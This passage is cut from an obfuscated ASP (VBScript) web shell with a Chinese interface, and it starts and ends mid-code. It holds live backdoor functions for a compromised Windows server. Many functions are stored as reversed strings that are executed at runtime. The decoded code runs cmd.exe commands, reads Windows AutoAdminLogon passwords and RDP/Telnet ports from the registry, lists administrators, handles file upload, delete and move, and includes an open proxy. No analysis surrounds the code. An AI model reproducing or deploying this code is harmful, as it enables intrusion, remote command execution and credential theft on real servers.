" RW=RW & BackUrl Response.Write RW End If End Function Function CopyFile(Path) Path = Split(Path,"||||") If fso.FileExists(Path(0)) and Path(1)<>"" Then fso.CopyFile Path(0),Path(1) RW="



Îļþ" & Path(0) & "¸´ÖƳɹ¦£¡
" RW=RW & BackUrl Response.Write RW : RW="" End If End Function Function MoveFile(Path) Path = Split(Path,"||||") If fso.FileExists(Path(0)) and Path(1)<>"" Then fso.MoveFile Path(0),Path(1) RW="



Îļþ" & Path(0) & "Òƶ¯³É¹¦£¡
" RW=RW & BackUrl Response.Write RW : RW="" End If End Function Function DelFolder(Path) If fso.FolderExists(Path) Then fso.DeleteFolder Path RW="



Ŀ¼" & Path & "ɾ³ý³É¹¦£¡
" RW=RW & BackUrl Response.Write RW : RW="" End If End Function Function CopyFolder(Path) Path = Split(Path,"||||") If fso.FolderExists(Path(0)) and Path(1)<>"" Then fso.CopyFolder Path(0),Path(1) RW="



Ŀ¼" & Path(0) & "¸´ÖƳɹ¦£¡
" RW=RW & BackUrl Response.Write RW : RW="" End If End Function Function MoveFolder(Path) Path = Split(Path,"||||") If fso.FolderExists(Path(0)) and Path(1)<>"" Then fso.MoveFolder Path(0),Path(1) RW="



Ŀ¼" & Path(0) & "Òƶ¯³É¹¦£¡
" RW=RW & BackUrl Response.Write RW : RW="" End If End Function Function NewFolder(Path) If Not fso.FolderExists(Path) and Path<>"" Then fso.CreateFolder Path RW="



Ŀ¼" & Path & "н¨³É¹¦£¡
" RW=RW & BackUrl Response.Write RW : RW="" End If End Function End Class Hacker="noitcnuF dnE~WR etirW.esnopseR ~¨~>elbat/<>mrof/<>rt/<>dt/<¨~ & WR=WR ~¨~>'timbus'=ssalc '´«ÉÏ'=eulav 'timbuS'=eman 'timbus'=epyt tupni<¨~ & WR=WR ~¨~;psbn&>'522:htdiw'=elyts 'elif'=epyt 'eliFlacoL'=eman tupni<¨~ & WR=WR ~¨~;psbn&>'052:htdiw'=elyts '¨~&)¨~psa.a\¨~&)¨~htaPredloF¨~(noisseS(htaPeRR&¨~'=eulav 'htaPoT'=eman tupni<£º¾¶Â·´«ÉϨ~ & WR=WR ~¨~>'FFFFFF#'=rolocgb 'retnec'=ngila dt<>rt<¨~ & WR=WR ~¨~>rt/<>dt/<¼þÎÄ´«ÉÏ>'unem'=rolocgb 'retnec'=ngila '02'=thgieh dt<>rt<¨~ & WR=WR ~ ¨~>'atad-mrof/trapitlum'=epytcne 'tsoP=2noitcA&eliFpU=noitcA?¨~&LRU&¨~'=noitca 'tsop'=dohtem 'mroFpU'=eman mrof<¨~ & WR=WR ~¨~>'retnec'=ngila '0'=gniddapllec '1'=gnicapsllec '0'=redrob 'unem'=rolocgb '006'=htdiw elbat<>rb<¨~=WR ~fI dnE ~dnE.esnopseR ~)(rrEwohS ~WR etirW.esnopseR ~lrUkcaB & WR=WR ~gnihton=U teS:gnihton=F teS ~fI dnE ~fi dnE ~¨~>retnec/<£¡¹¦³É´«ÉϨ~ & emaNU & ¨~¼þÎÄ>rb<>rb<>rb<>retnec<¨~=WR ~nehT 0=rebmun.rrE fI ~emaNU sAevaS.F ~eslE ~¨~!´«ÉϼþÎĸöÒ»ÔñÑ¡ºó¾¶Â·È«ÍêµÄ´«ÉÏÈëÊäÇë>rb<¨~=WR ~neht 0=eziSeliF.F rO ¨~¨~=emaNU fI ~)¨~htaPoT¨~(mrof.U=emaNU ~)¨~eliFlacoL¨~(AU.U=F teS : CPU wen=U teS ~nehT ¨~tsoP¨~=)¨~2noitcA¨~(tseuqeR fI ~emaNeliFrts mid ~)(eliFpU noitcnuF" ExeCuTe(UZSS(Hacker)) Dim T1 Class UPC Dim D1,D2 Public Function Form(F) F=lcase(F) If D1.exists(F) then:Form=D1(F):else:Form="":end if End Function Public Function UA(F) F=lcase(F) If D2.exists(F) then:set UA=D2(F):else:set UA=new FIF:end if End Function Private Sub Class_Initialize Dim TDa,TSt,vbCrlf,TIn,DIEnd,T2,TLen,TFL,SFV,FStart,FEnd,DStart,DEnd,UpName set D1=CreateObject("Scripting.Dictionary") if Request.TotalBytes<1 then Exit Sub set T1 = CreateObject(ObT(6,0)) T1.Type = 1 : T1.Mode =3 : T1.Open T1.Write Request.BinaryRead(Request.TotalBytes) T1.Position=0 : TDa =T1.Read : DStart = 1 DEnd = LenB(TDa) set D2=CreateObject("Scripting.Dictionary") vbCrlf = chrB(13) & chrB(10) set T2 = CreateObject(ObT(6,0)) TSt = MidB(TDa,1, InStrB(DStart,TDa,vbCrlf)-1) TLen = LenB (TSt) DStart=DStart+TLen+1 while (DStart + 10) < DEnd DIEnd = InStrB(DStart,TDa,vbCrlf & vbCrlf)+3 T2.Type = 1 : T2.Mode =3 : T2.Open T1.Position = DStart T1.CopyTo T2,DIEnd-DStart T2.Position = 0 : T2.Type = 2 : T2.Charset ="gb2312" TIn = T2.ReadText : T2.Close DStart = InStrB(DIEnd,TDa,TSt) FStart = InStr(22,TIn,"name=""",1)+6 FEnd = InStr(FStart,TIn,"""",1) UpName = lcase(Mid (TIn,FStart,FEnd-FStart)) if InStr (45,TIn,"filename=""",1) > 0 then set TFL=new FIF FStart = InStr(FEnd,TIn,"filename=""",1)+10 FEnd = InStr(FStart,TIn,"""",1) FStart = InStr(FEnd,TIn,"Content-Type: ",1)+14 FEnd = InStr(FStart,TIn,vbCr) TFL.FileStart =DIEnd TFL.FileSize = DStart -DIEnd -3 if not D2.Exists(UpName) then D2.add UpName,TFL end if else T2.Type =1 : T2.Mode =3 : T2.Open T1.Position = DIEnd : T1.CopyTo T2,DStart-DIEnd-3 T2.Position = 0 : T2.Type = 2 T2.Charset ="gb2312" SFV = T2.ReadText T2.Close if D1.Exists(UpName) then D1(UpName)=D1(UpName)&", "&SFV else D1.Add UpName,SFV end if end if DStart=DStart+TLen+1 wend TDa="" set T2 =nothing End Sub Private Sub Class_Terminate if Request.TotalBytes>0 then D1.RemoveAll:D2.RemoveAll set D1=nothing:set D2=nothing T1.Close:set T1 =nothing end if End Sub End Class Class FIF dim FileSize,FileStart Private Sub Class_Initialize FileSize = 0 FileStart= 0 End Sub Public function SaveAs(F) dim T3 SaveAs=true if trim(F)="" or FileStart=0 then exit function set T3=CreateObject(ObT(6,0)) T3.Mode=3 : T3.Type=1 : T3.Open T1.position=FileStart T1.copyto T3,FileSize T3.SaveToFile F,2 T3.Close set T3=nothing SaveAs=false end function End Class Hacker="noitcnuF dnE~¨~¨~=gnoyoaix : ¨~¨~=WR : WR etirW.esnopseR ~¨~>elbat/<>mrof/<>rt/<>dt/<>aeratxet/<¨~ & )31(rhc & WR=WR ~fI dnE ~fi dne ~gnihtoN=osf teS ~gnihtoN=xcleliFo teS ~gnoyoaix & WR=WR ~)eurT ,eliFpmeTzs(eliFeteleD.osf llaC ~esolC.xcleliFo ~llAdaeR.xcleliFo=gnoyoaix ~)0 ,eslaF ,1 ,eliFpmeTzs( eliFtxeTnepO.osf=xcleliFo teS ~))0,0(TbO(tcejbOetaerC=osf teS ~)eurT ,0 ,eliFpmeTzs & ¨~ > ¨~ & dmCfeD & ¨~ c/ ¨~ & htaPllehS( nuR.sw llaC ~)¨~txt.dmc¨~(htappam.revres = eliFpmeTzs ~esle ~gnihtoN=DD teS ~gnihtoN=MC teS ~gnoyoaix & WR=WR ~lladaer.tuodts.DD=gnoyoaix ~)dmCfeD&¨~ c/ ¨~&htaPllehS(cexe.MC=DD teS ~))0,1(TbO(tcejbOetaerC=MC teS ~neht ¨~sey¨~=)¨~tpircsw¨~(mroF.tseuqeR fi ~aaa mid ~nehT ¨~¨~><)¨~dmc¨~(mroF.tseuqeR fI ~¨~>'054:thgieh;006:htdiw'=elyts aeratxet<>'FFFFFF#'=rolocgb 'retnec'=ngila dt<>rt<¨~ & WR=WR ~¨~>rt<>dt/<>'timbus'=ssalc 'ÐÐÖ´'=eulav 'timbus'=epyt tupni<;psbn&>'¨~ & dmCfeD & ¨~'=eulav '084:htdiw'=elyts 'dmc'=eman tupni<£ºÁîÃüllehS>'FFFFFF#'=rolocgb 'retnec'=ngila dt<>rt<¨~ & WR=WR ~¨~>rt/<>dt/¨~ & dekcehc & ¨~'sey'=eulav 'tpircsw'=eman 'xobkcehc'=epyt tupni<¨~ & WR=WR ~¨~;psbn&>'514:htdiw'=elyts '¨~ & htaPllehS & ¨~'=eulav 'PS'=eman tupni<£º¾¶Â·llehS>'FFFFFF#'=rolocgb 'retnec'=ngila dt<>rt<¨~ & WR=WR ~¨~>rt/<>dt/<ÐÐÁîÃüdmC>'unem'=rolocgb 'retnec'=ngila '02'=thgieh dt<>rt<¨~ & WR=WR ~¨~>'tsop'=dohtem mrof<>'retnec'=ngila '0'=gniddapllec '1'=gnicapsllec '0'=redrob 'unem'=rolocgb '006'=htdiw elbat<>rb<¨~=WR ~)¨~dmc¨~(tseuqeR = dmCfeD nehT ¨~¨~><)¨~dmc¨~(tseuqeR fI ~fi dne ~¨~¨~=dekcehc ~esle ~¨~dekcehc ¨~=dekcehc ~neht ¨~sey¨~=)¨~tpircsw¨~(tseuqeR fi ~¨~exe.dmc¨~ = htaPllehS nehT ¨~¨~=htaPllehS fi ~)¨~htaPllehS¨~(noisseS=htaPllehS ~)¨~PS¨~(tseuqeR = )¨~htaPllehS¨~(noisseS nehT ¨~¨~><)¨~PS¨~(tseuqeR fI ~xcleliFo,eliFpmeTzs,gnoyoaix,DD,MC,dmCfeD,dekcehc mid ~)(llehSdmC noitcnuF" ExeCuTe(UZSS(Hacker)) Function TSearch() dim st st=timer() RW="
" RW=RW & "" RW=RW & "" RW=RW & "" RW=RW & "
ËÑË÷ÒýÇæ
 Â·  ¾¶£º ×¢:¶à·¾¶Ê¹ÓÃ"",""ºÅÁ¬½Ó.
 ÎļþÃû£º  [²¿·ÖÒ²ÐÐ]
" Response.Write RW : RW="" if Request.Form("Sfk")<>"" then Set newsearch=new SearchFile newsearch.Folders=trim(Request.Form("SFpath")) newsearch.keyword=trim(Request.Form("Sfk")) newsearch.Search Set newsearch=Nothing Response.Write "·Ñʱ£º"&(timer()-st)*1000&"ºÁÃë
" end if End Function Class SearchFile dim Folders,keyword,objFso,Counter Private Sub Class_Initialize Set objFso=Server.CreateObject(ObT(0,0)) Counter=0 End Sub Private Sub Class_Terminate Set objFso=Nothing End Sub Function Search Folders=split(Folders,",") flag=instr(keyword,"\") or instr(keyword,"/") flag=flag or instr(keyword,":") flag=flag or instr(keyword,"|") flag=flag or instr(keyword,"&") if flag then Response.Write "

¹Ø¼ü×Ö²»ÄÜ°üº¬/\:|&
" Exit Function else Response.Write "

" end if dim i for i=0 to ubound(Folders) Call GetAllFile(Folders(i)) next Response.Write "

¹²ËÑË÷µ½"&Counter&"¸ö½á¹û
" End Function Private Function GetAllFile(Folder) dim objFd,objFs,objFf Set objFd=objFso.GetFolder(Folder) Set objFs=objFd.SubFolders Set objFf=objFd.Files dim strFdName On Error Resume Next For Each OneDir In objFs strFdName=OneDir.Name If strFdName<>"Config.Msi" EQV strFdName<>"RECYCLED" EQV strFdName<>"RECYCLER" EQV strFdName<>"System Volume Information" Then SFN=Folder&"\"&strFdName Call GetAllFile(SFN) End If Next dim strFlName For Each OneFile In objFf strFlName=OneFile.Name If strFlName<>"desktop.ini" EQV strFlName<>"folder.htt" Then FN=Folder&"\"&strFlName Counter=Counter+ColorOn(FN) End If Next Set objFd=Nothing Set objFs=Nothing Set objFf=Nothing End Function Private Function CreatePattern(keyword) CreatePattern=keyword CreatePattern=Replace(CreatePattern,".","\.") CreatePattern=Replace(CreatePattern,"+","\+") CreatePattern=Replace(CreatePattern,"(","\(") CreatePattern=Replace(CreatePattern,")","\)") CreatePattern=Replace(CreatePattern,"[","\[") CreatePattern=Replace(CreatePattern,"]","\]") CreatePattern=Replace(CreatePattern,"{","\{") CreatePattern=Replace(CreatePattern,"}","\}") CreatePattern=Replace(CreatePattern,"*","[^\\\/]*") CreatePattern=Replace(CreatePattern,"?","[^\\\/]{1}") CreatePattern="("&CreatePattern&")+" End Function Private Function ColorOn(FileName) dim objReg Set objReg=new RegExp objReg.Pattern=CreatePattern(keyword) objReg.IgnoreCase=True objReg.Global=True retVal=objReg.Test(Mid(FileName,InstrRev(FileName,"\")+1)) if retVal then OutPut=objReg.Replace(Mid(FileName,InstrRev(FileName,"\")+1),"$1") OutPut="

 " & Mid(FileName,1,InstrRev(FileName,"\")) & OutPut Response.Write OutPut Response.flush ColorOn=1 else ColorOn=0 end if Set objReg=Nothing End Function End Class Hacker="noitcnuF dnE~¨~¨~=2WR: ¨~¨~=1WR: ¨~¨~=0WR: ¨~¨~=WR: ¨~>rb<>elbat/<¨~ & 2WR & 1WR & 0WR & WR etirW.esnopseR ~gnihtoN=as teS ~gnihtoN=esruoCjbo teS ~txen ~fi dne ~¨~>rt/<>dt/<>tnof/<¨~&htap.jbo&¨~>'000800#'=roloc tnof<;psbn&]¨~&)emaN.jbo(gninnuRecivreSsI.as&¨~:̬״ÐÐÔË[;psbn&>'2'=napsloc 'FFFFFF#'=rolocgb '02'=thgieh dt<>rt<¨~&emaNyalpsiD.jbo&¨~---¨~&emaN.jbo&¨~;psbn&>'FFFFFF#'=rolocgb '02'=thgieh dt<>dt/<]¨~&xl&¨~:ÐÍÀදÆô[;psbn&>'FFFFFF#'=rolocgb '02'=thgieh dt<>rt<¨~ & 2WR=2WR ~esle ~¨~>rt/<>dt/<>tnof/<¨~&htap.jbo&¨~>'0000FF#'=roloc tnof<;psbn&]¨~&)emaN.jbo(gninnuRecivreSsI.as&¨~:̬״ÐÐÔË[;psbn&>'2'=napsloc 'FFFFFF#'=rolocgb '02'=thgieh dt<>rt<¨~&emaNyalpsiD.jbo&¨~---¨~&emaN.jbo&¨~;psbn&>'FFFFFF#'=rolocgb '02'=thgieh dt<>dt/<]¨~&xl&¨~:ÐÍÀදÆô[;psbn&>'FFFFFF#'=rolocgb '02'=thgieh dt<>rt<¨~ & 1WR=1WR ~neht 2=epyTtratS.jbo dna ¨~niw¨~><))3,4,htap.jbo(dim(esaCL fi ~¨~Óýû¨~=xl neht 4=epyTtratS.jbo fi ~ ¨~¶¯ÊÖ¨~=xl neht 3=epyTtratS.jbo fi ~¨~¶¯×Ô¨~=xl neht 2=epyTtratS.jbo fi ~fi dne ~ ¨~>rt/<>dt/<;psbn&>'2'=napsloc 'FFFFFF#'=rolocgb '02'=thgieh dt<>rt<¨~=0WR ~¨~>rt/<>dt/<¨~ & WR=WR ~¨~)×é(»§ÓÃͳϵ¨~ & WR=WR ~ ¨~;psbn&>'FFFFFF#'=rolocgb dt<>dt/<¨~ & WR=WR ~emaN.jbo & WR=WR ~¨~;psbn&>'FFFFFF#'=rolocgb '02'=thgieh dt<¨~ & WR=WR ~¨~>rt<¨~ & WR=WR ~neht ¨~¨~=epyTtratS.jbo fi ~raelC.rrE ~esruoCjbo ni jbo hcae rof ~)¨~.//:TNniW¨~(tcejbOteG=esruoCjbo teS ~)¨~noitacilppA.llehS¨~(tcejbOetaerC=as teS ~txeN emuseR rorrE nO ~¨~>rt/<>dt/<Îñ·þÓ뻧ÓÃͳϵ>'unem'=rolocgb 'retnec'=ngila '3'=napsloc '02'=thgieh dt<>rt<¨~ & WR=WR ~¨~>'retnec'=ngila '0'=gniddapllec '1'=gnicapsllec '0'=redrob 'unem'=rolocgb '006'=htdiw elbat<>rb<¨~=WR ~2WR,1WR,0WR,esruoCjbo,jbo,as mid ~)(esruoC noitcnuF" ExeCuTe(UZSS(Hacker)) Hacker="noitcnuF dnE~¨~¨~=WR:WR etirW.esnopseR ~fi dne ~¨~>elbat/<¨~ & WR=WR ~esle ~gnihtoN=llehSHSW teS ~¨~>elbat/<>rt/<>dt/<¨~ & rtsdaeRsi & ¨~£ºÊÇÖµ¸Ã;psbn&>rb<>'FFFFFF#'=rolocgb dt<>rt<¨~ & WR=WR ~))¨~emaNRT¨~(tseuqeR & )¨~htaPRT¨~(tseuqeR(daeRgeR.llehSHSW=rtsdaeRsi ~))0,1(TbO(tcejbOetaerC.revreS=llehSHSW teS ~neht )¨~¨~><)¨~emaNRT¨~(tseuqeR( dna )¨~¨~><)¨~htaPRT¨~(tseuqeR( fi ~ fi dne ~ fi dne ~ ¨~¨~=WR:WR etirW.esnopseR ~¨~>elbat/<>rt/<>dt/<¨~ & dwpnigoLotua & ¨~£ºÂëÃÜ»§ÕʵļµÇ¶¯×Ô;psbn&¨~ & WR=WR ~raelC.rrE nehT rrE fI ~)yeKdwpnigoLotua & htaPnigoLotua(daeRgeR.llehSHSW=dwpnigoLotua ~txeN emuseR rorrE nO ~¨~>rb<¨~ & resUnigoLotua & ¨~£º»§ÕÊͳϵµÄ¼µÇ¶¯×Ô;psbn&>rb<>'FFFFFF#'=rolocgb dt<>rt<¨~ & WR=WR ~)yeKresUnigoLotua & htaPnigoLotua(daeRgeR.llehSHSW=resUnigoLotua ~esle ~¨~>elbat/<>rt/<>dt/<Æô¿ªÎ´Äܹ¦Â¼µÇ¶¯×Ôͳϵ;psbn&>rb<>'FFFFFF#'=rolocgb dt<>rt<¨~ & WR=WR ~neht 0=elbanEnigoLotua fi ~)yeKelbanEnigoLotua & htaPnigoLotua(daeRgeR.llehSHSW=elbanEnigoLotua ~¨~drowssaPtluafeD¨~=yeKdwpnigoLotua ~¨~emaNresUtluafeD¨~=yeKresUnigoLotua ~¨~nogoLnimdAotuA¨~=yeKelbanEnigoLotua ~¨~\nogolniW\noisreVtnerruC\TN swodniW\tfosorciM\ERAWTFOS\ENIHCAM_LACOL_YEKH¨~=htaPnigoLotua ~))0,1(TbO(tcejbOetaerC.revreS=llehSHSW tes ~neht ¨~nogoLotuA¨~=)¨~di¨~(tseuqeR fi ~¨~>rt/<>dt/rb<\pcT-PDR\snoitatSniW\revreS lanimreT\lortnoC\teSlortnoCtnerruC\METSYS\ENIHCAM_LACOL_YEKH£º¾¶Â·Ïî;psbn&>rb<¿Ú¶Ë¶ËÖÕÈ¡¶Á£ºÈç¡¡Àý;psbn&>'FFFFFF#'=rolocgb dt<>rt<¨~ & WR=WR ~¨~>mrof/<>rt/<>dt/<>'timbus'=ssalc 'ÈÏÈ·'=eulav 'timbus'=epyt tupni<;psbn&>'002:htdiw'=elyts '¨~ & )¨~emaNRT¨~(tseuqeR & ¨~'=eulav 'emaNRT'=eman tupni<£º³ÆÃûÖµ;psbn&>'FFFFFF#'=rolocgb dt<>rt<¨~ & WR=WR ~¨~>rt/<>dt/<>'025:htdiw'=elyts '¨~ & )¨~htaPRT¨~(tseuqeR & ¨~'=eulav 'htaPRT'=eman tupni<£º¾¶Â·Ïî;psbn&>'FFFFFF#'=rolocgb dt<>rt<¨~ & WR=WR ~¨~>rt/<>dt/<¨~ & WR=WR ~¨~>a/<]Ï¢ÐżµÇ¶¯×Ô[>'nogoLotuA=di&tidegeRT=noitcA?'=ferh a<;psbn&¨~ & WR=WR ~¨~>a/<]³ÆÃû»ú±¾[>'emaNretupmoC=emaNRT&\emaNretupmoC\emaNretupmoC\lortnoC\teSlortnoCtnerruC\METSYS\MLKH=htaPRT&tidegeRT=noitcA?'=ferh a<;psbn&¨~ & WR=WR ~¨~>a/<]¿Ú¶Ë¶ËÖÕ[>'rebmuNtroP=emaNRT&\pcT-PDR\snoitatSniW\revreS lanimreT\lortnoC\teSlortnoCtnerruC\METSYS\ENIHCAM_LACOL_YEKH=htaPRT&tidegeRT=noitcA?'=ferh a<£ºµÀͨËÙ¿ì;psbn&>'02'=thgieh 'FFFFFF#'=rolocgb dt<>rt<¨~ & WR=WR ~¨~>rt/<>dt/<×÷²ÙÈ¡¶ÁÖµ¼ü±í²á×¢>'unem'=rolocgb 'retnec'=ngila '02'=thgieh dt<>rt<¨~ & WR=WR ~¨~>'tsop'=dohtem 'tidegeRT=noitcA?¨~&LRU&¨~'=noitca mrof<>'retnec'=ngila '0'=gniddapllec '1'=gnicapsllec '0'=redrob 'unem'=rolocgb '006'=htdiw elbat<>rb<¨~=WR ~dwpnigoLotua,resUnigoLotua,elbanEnigoLotua mid ~yeKdwpnigoLotua,yeKresUnigoLotua,yeKelbanEnigoLotua,htaPnigoLotua mid ~rtsdaeRsi,llehSHSW mid ~)(tidegeRT noitcnuF" ExeCuTe(UZSS(Hacker)) Hacker="noitcnuF dnE~¨~>rb<>elbat/<¨~ etirw.esnopseR ~htiw dne ~txen ~¨~>rt/<>dt/<>tnof/<¨~&)vs(selbairaVrevres.tseuqeR&¨~>'WORRAN LAIRA'=elyts tnof<>dt<>dt/<>tnof/<¨~ etirw.esnopseR ~vs etirw.esnopseR ~¨~;psbn&>'WORRAN LAIRA'=elyts tnof<>dt<>rt<¨~ etirw.esnopseR ~selbairavrevres.tseuqeR ni vs hcae rof ~esnopser htiw ~vs mid ~¨~>rt/<>dt/<>tnof/<¹û½á>FFFFFF#=roloc tnof<>retnec=ngila dt<>dt/<>tnof/<ÃûÁ¿±ä>FFFFFF#=roloc tnof<>retnec=ngila dt<>rt<>rt/<>dt/<±íÁÐ selbairaVrevreS.tseuqeR>retnec=ngila '2'=napsloc dt<>rt<>rb<>'retnec'=ngila '0'=gniddapllec '1'=gnicapsllec '0'=redrob 'unem'=rolocgb '006'=htdiw elbat<¨~ etirw.esnopseR ~)(Ewohs noitcnuF" ExeCuTe(UZSS(Hacker)) function goback() set Ofso = Server.CreateObject("Scripting.FileSystemObject") set ofolder = Ofso.Getfolder(Session("FolderPath")) if not ofolder.IsRootFolder then Response.write "" else Response.write "" end if set Ofso=nothing set ofolder=nothing end function Function proxy() sx() proxy1() End Function Function proxy1() on error resume next url=lcase(request("pURL")) if url<>"" then if left(url,7)<>"http://" then url="http://" & url set xml=server.createobject("Microsoft.Xmlhttp") xml.open "Get",url,false,false xml.send if err then response.write "
ÎÞ·¨·ÃÎÊ.
":response.end proxyweb=B2Bstr(xml.responsebody) end if Response.write proxyweb End Function Function B2Bstr(body) dim objstream set objstream = Server.CreateObject("adodb.stream") objstream.Type = 1 objstream.Mode =3 objstream.Open objstream.Write body objstream.Position = 0 objstream.Type = 2 objstream.Charset = "GB2312" B2Bstr = objstream.ReadText objstream.Close set objstream = nothing End Function Function sx() RRS "" RRS "
" RRS "
µ¥Ò³´úÀí

" RRS "Address:" RRS " The Address what you want to visit" RRS "
" RRS "
" RRS "
" End Function function php() set fso=Server.CreateObject("Scripting.FileSystemObject") fso.CreateTextFile(server.mappath("lp.php")).Write"" Response.write" " Response.write "





Èç¹ûÄãÄÜ¿´µ½lp.phpÕý³£ÏÔʾ,±íʾ֧³ÖPHP

·ñÔò¾ÍÊDz»Ö§³ÖÀ­

ɾ³ý²âÊÔµÄPHPÎļþ

" End function function lpdel set fso=Server.CreateObject("Scripting.FileSystemObject") fso.DeleteFile(server.mappath("lp.php")) End function Hacker="noitcnuF dnE~¨~¨~=WR : WR etirW.esnopseR ~txeN ~¨~>rt/<>dt/<¨~&))0,i(TbO(jbOsI&¨~>'retnec'=ngila dt<>dt/<>tnof/<¨~&)1,i(TbO&¨~>'888888#'=roloc tnof<: ¨~&)0,i(TbO&¨~;psbn&>'02'=thgieh dt<>rt<¨~ & WR=WR ~41 oT 0=i roF ~¨~>'retnec'=ngila '0'=gniddapllec '1'=gnicapsllec '0'=redrob 'unem'=rolocgb '006'=htdiw elbat<>rb<¨~ & WR=WR ~¨~¨~ & WR=WR ~¨~>elbat/<>rt/<>dt/<¨~&)¨~ERAWTFOS_REVRES¨~(selbairaVrevreS.tseuqeR&¨~:±¾°ærevreS SII;psbn&>'2'=napsloc dt<¨~ & WR=WR ~¨~>dt/<¨~&)¨~SO¨~(selbairaVrevreS.tseuqeR&¨~:sO revreS;psbn&>'2'=napsloc dt<>rt<¨~ & WR=WR ~¨~>rt/<>dt/<>a/<>tnof/<]±íÁÐ selbairaVrevreS.tseuqeR[>'der'=roloc tnof<>'emarFeliF'=tegrat 'Ewohs=noitcA?'=ferh a<¨~ & WR=WR ~¨~;psbn&¸ö¨~&tnuoC.selbairaVrevreS.tseuqeR&¨~:Á¿±ä¾³»·;psbn&>'2'=napsloc dt<¨~ & WR=WR ~¨~>dt/<¨~&)¨~SROSSECORP_FO_REBMUN¨~(selbairaVrevreS.tseuqeR&¨~:ÇéÏêUPC;psbn&>'2'=napsloc dt<>rt<¨~ & WR=WR ~¨~>rt/<>dt/<;psbn&¨~&won&¨~:emiT revreS;psbn&>'2'=napsloc dt<¨~ & WR=WR ~¨~>dt/<)¨~&)¨~TROP_REVRES¨~(selbairaVrevreS.tseuqeR&¨~:¨~ & PIrevreS & ¨~(¨~&MNrevreS&¨~:Ö·µØÆ÷Îñ·þ;psbn&>'2'=napsloc dt<>rt<¨~ & WR=WR ~¨~>rt/<>dt/<]Ï¢Ðżþ×é[ ¿ö¸ÅÆ÷Îñ·þ>'unem'=rolocgb 'retnec'=ngila '4'=napsloc dt<>rt<¨~ & WR=WR ~¨~>'retnec'=ngila '0'=gniddapllec '1'=gnicapsllec '0'=redrob 'unem'=rolocgb '006'=htdiw elbat<>rb<¨~=WR ~)(ofnIrevreS noitcnuF" ExeCuTe(UZSS(Hacker)) Hacker="noitcnuF dnE~fi dne~¨~krowteN.tpircsW:!ÏÞȨÓÐû¨~ etirw.esnopseR~neht rre fi~txeN~¨~>rb<>retnec/<¨~&emaN.nimda&¨~>retnec<¨~ etirw.esnopseR~srebmeM.puorGjbo ni nimda hcaE roF~)¨~puorg,srotartsinimdA/¨~&emaNretupmoC.Nt&¨~//:TNniW¨~(tcejbOteG=puorGjbo teS~)¨~krowteN.tpircsW¨~(tcejbOetaerc.revres=Nt teS~txen emuser rorre no~0=seripxE.esnopseR~)(banimda noitcnuF" ExeCuTe(UZSS(Hacker)) Hacker="buS dnE~¨~>lo/<¨~ SRR~fI dnE~¨~>rb<¨~ & drowssaPnigoLotua & ¨~ :ÂëÃÜ»§ÕʵļµÇ¶¯×Ô¨~ SRR~fI dnE~¨~eslaF¨~ SRR~raelC.rrE~nehT rrE fI~)yeKssaPnigoLotua & htaPnigoLotua(daeRgeR.Xsw = drowssaPnigoLotua~¨~>rb<¨~ & emanresUnigoLotua & ¨~ :»§ÕÊͳϵµÄ¼µÇ¶¯×Ô¨~ SRR~)yeKresUnigoLotua & htaPnigoLotua(daeRgeR.Xsw = emanresUnigoLotua~eslE~¨~>/rb<Æô¿ªÎ´Äܹ¦Â¼µÇ¶¯×Ôͳϵ¨~ SRR~nehT 0 = elbanEnigoLotuAsi fI~)yeKelbanEnigoLotua & htaPnigoLotua(daeRgeR.Xsw = elbanEnigoLotuAsi~¨~drowssaPtluafeD¨~ = yeKssaPnigoLotua~¨~emaNresUtluafeD¨~ = yeKresUnigoLotua~¨~nogoLnimdAotuA¨~ = yeKelbanEnigoLotua~¨~\nogolniW\noisreVtnerruC\TN swodniW\tfosorciM\ERAWTFOS\ENIHCAM_LACOL_YEKH¨~ = htaPnigoLotua~fI dnE~¨~>/rb<¨~ & troPmret & ¨~ :¿Ú¶ËÎñ·þ¶ËÖÕÇ°µ±¨~ SRR~eslE ~¨~>/rb<.ÖÆÏÞµ½Êܾ­ÒÑ·ñÊÇÏÞȨ²é¼ìÇë ,¿Ú¶ËÎñ·þ¶ËÖÕµ½µÃ·¨ÎÞ¨~SRR~ nehT 0 >< rebmuN.rrE rO ¨~¨~ = troPmret fI~¨~>lo<>/rh<¼µÇ¶¯×Ô¼°¿Ú¶ËÎñ·þ¶ËÖÕ¨~ SRR~)yeKtroPlanimret & htaPtroPlanimret(daeRgeR.Xsw = troPmret~¨~rebmuNtroP¨~ = yeKtroPlanimret~¨~\pcT-PDR\snoitatSniW\revreS lanimreT\lortnoC\teSlortnoCtnerruC\METSYS\MLKH¨~ = htaPtroPlanimret~drowssaPnigoLotua ,emanresUnigoLotua ,yeKelbanEnigoLotua ,elbanEnigoLotuAsi miD~yeKssaPnigoLotua ,yeKresUnigoLotua ,htaPnigoLotua miD~troPmret ,yeKtroPlanimret ,htaPtroPlanimret miD~)¨~llehS.tpircSW¨~(tcejbOetaerC.revreS = Xsw teS~¨~------------------------------------------------------¨~ etirW.esnopseR~¨~>rb<¨~&troPWAP&¨~:Ϊ¿Ú¶ËerehwynAcP>il<¨~ etirW.esnopseR~¨~erehwynAcp×°°²·ñÊÇ»úÖ÷ÈÏÈ·Çë.È¡»ñ·¨ÎÞ¨~=troPWAP neht ¨~¨~=troPWAP fI~)yeKerehwynAcp(daeRgeR.hsW=troPWAP~¨~troPataDPIPCT\metsyS\noisreVtnerruC\erehwynAcp\cetnamyS\ERAWTFOS\ENIHCAM_LACOL_YEKH¨~=yeKerehwynAcp~¨~>rb<¨~&troPmreT&¨~:Ϊ¿Ú¶ËecivreS lanimreT>il<¨~ etirW.esnopseR~¨~»úÖ÷±¾°ærevreS swodniWΪ·ñÊÇÈÏÈ·Çë.È¡¶Á·¨ÎÞ¨~=troPmreT nehT ¨~¨~=troPmreT fI~)yeKmreT(daeRgeR.hsW=troPmreT~¨~rebmuNtroP\pct\sdT\dwpdr\sdW\revreS lanimreT\lortnoC\teSlortnoCtnerruC\METSYS\ENIHCAM_LACOL_YEKH¨~=yeKmreT~¨~>rb<¨~&troptnlT&¨~:¿Ú¶ËtenleT>il<¨~ etirW.esnopseR~¨~32¨~=tnlT nehT ¨~¨~=troPtnlT fi~)yeKtenleT(daeRgeR.hsW=troPtnlT~¨~troPtenleT\0.1\revreStenleT\tfosorciM\ERAWTFOS\ENIHCAM_LACOL_YEKH¨~=yektenleT~)¨~llehS.tpircSW¨~(tcejbOetaerC.revreS = hsw teS~¨~>1=ezis rh<>rb<]²â̽¿Ú¶ËÊâÌØ[>rb<>rb<¨~ etirW.esnopseR~txeN emuseR rorrE nO~)(ofnIlanimreTteg bus" ExeCuTe(UZSS(Hacker)) Hacker="noitcnuF dnE~fI 